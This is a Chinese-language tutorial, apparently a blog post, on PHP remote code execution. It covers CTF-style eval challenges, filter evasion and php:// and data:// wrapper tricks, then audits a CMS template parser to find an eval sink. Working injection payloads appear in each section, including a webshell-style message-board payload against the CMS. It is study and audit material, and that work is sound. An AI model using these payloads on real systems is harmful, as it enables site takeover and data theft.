解密RCE漏洞:原理剖析、复现与代码审计实战

在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。

概念

  1. 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。

利用函数

  ##### php

  1. eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
  ##### python

  1. eval exec subprocess os.system commands
  ##### java

  1. java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等

复现

  ##### 基本使用

  1. 源码

     ```python
      <?php
     error_reporting(0);          //排除错误
     if(isset($_GET['c'])){       //get传参不为空,执行if语句
         $c = $_GET['c'];         //get传参,赋值给变量c
         if(!preg_match("/flag/i", $c)){   //过滤flag
             eval($c);            //执行c表达式
         }

     }else{
         highlight_file(__FILE__);
     }

     payload:
     ?c=system('tac fla*.php');
     ?c=echo shell_exec('tac fla*');
     ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
     ```
  ##### 参数逃逸

  1. 源码

     ```python
     <?php
     error_reporting(0);
     if(isset($_GET['c'])){
         $c = $_GET['c'];
         if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
             eval($c);
         }

     }else{
         highlight_file(__FILE__);
     }
     ?>  
     payload:
     ?c=eval($_GET[1]);&1=phpinfo();
     ```

  2. ![](https://img-blog.csdnimg.cn/img_convert/dc683e6778df60b7306d1431f88b9c8e.png)
  ##### 伪协议

  1. 源码同上

     ```python
     payload:
     ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>

     payload2
     get:?c=include$_GET[a]?>&a=php://input
     post:<?php system('tac flag.php');?>

     payload3
     ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
     ```

  2. ![](https://img-blog.csdnimg.cn/img_convert/05b3644ff9b9fd8f6d41ac57362db132.png)

  3. ![](https://img-blog.csdnimg.cn/img_convert/890d172ec2f9c8618734de4e3a053c57.png)

  4. ![](https://img-blog.csdnimg.cn/img_convert/1f85174d7df7c412eacb19d68ae1eb2f.png)

代码审计

靶场搭建
  1. 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
  2. 下载靶场,在config.php文件中填入授权码,安装靶场
流程
  1. 导入文件,搜索常用的命令执行函数eval

  2. 看到eval的来源变量matches

  3. 本文搜索matches的数据来源,来源于parserSiteLabel函数

  4. 全局搜索parserSiteLabel函数,看到parserCommom函数

  5. 全局搜索parserCommom函数,到达AboutController.php

    1. 名称与网站对应关系
  6. 有前端与后端结合可知,前端的留言板是在AboutController.php上的

  7. 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

    1. 代码

      python 复制代码
       public function parserIfLabel($content)
          {
              $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
              $pattern2 = '/pboot:([0-9])+if/';
              if (preg_match_all($pattern, $content, $matches)) {
                  $count = count($matches[0]);
                  for ($i = 0; $i < $count; $i ++) {
                      $flag = '';
                      $out_html = '';
                      // 对于无参数函数不执行解析工作
                      if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {
                          continue;
                      }
                      eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                      if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
                          switch ($flag) {
                              case 'if': // 条件为真
                                  if (isset($matches2[1])) {
                                      $out_html = $matches2[1];
                                  }
                                  break;
                              case 'else': // 条件为假
                                  if (isset($matches2[2])) {
                                      $out_html = $matches2[2];
                                  }
                                  break;
                          }
                      } elseif ($flag == 'if') {
                          $out_html = $matches[2][$i];
                      }
      
                      // 无限极嵌套解析
                      if (preg_match($pattern2, $out_html, $matches3)) {
                          $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
                          $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
                          $out_html = $this->parserIfLabel($out_html);
                      }
      
                      // 执行替换
                      $content = str_replace($matches[0][$i], $out_html, $content);
                  }
              }
      payload:
      留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
      
      payload2:
      留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
      //记得要在后台把状态打开,不然无回显,头疼!!!!

通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!

相关推荐
虹科数字化与AR12 分钟前
安宝特应用 | 美国OSHA扩展Vuzix AR眼镜应用,强化劳动安全与效率
安全·ar·远程协助
小林熬夜学编程29 分钟前
【Linux网络编程】第十四弹---构建功能丰富的HTTP服务器:从状态码处理到服务函数扩展
linux·运维·服务器·c语言·网络·c++·http
Hacker_Fuchen31 分钟前
天融信网络架构安全实践
网络·安全·架构
炫彩@之星33 分钟前
Windows和Linux安全配置和加固
linux·windows·安全·系统安全配置和加固
上海运维Q先生34 分钟前
面试题整理15----K8s常见的网络插件有哪些
运维·网络·kubernetes
ProtonBase44 分钟前
如何从 0 到 1 ,打造全新一代分布式数据架构
java·网络·数据库·数据仓库·分布式·云原生·架构
凯子坚持 c3 小时前
深入Linux权限体系:守护系统安全的第一道防线
linux·运维·系统安全
独行soc8 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
独行soc10 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
fantasy_arch10 小时前
CPU性能优化-磁盘空间和解析时间
网络·性能优化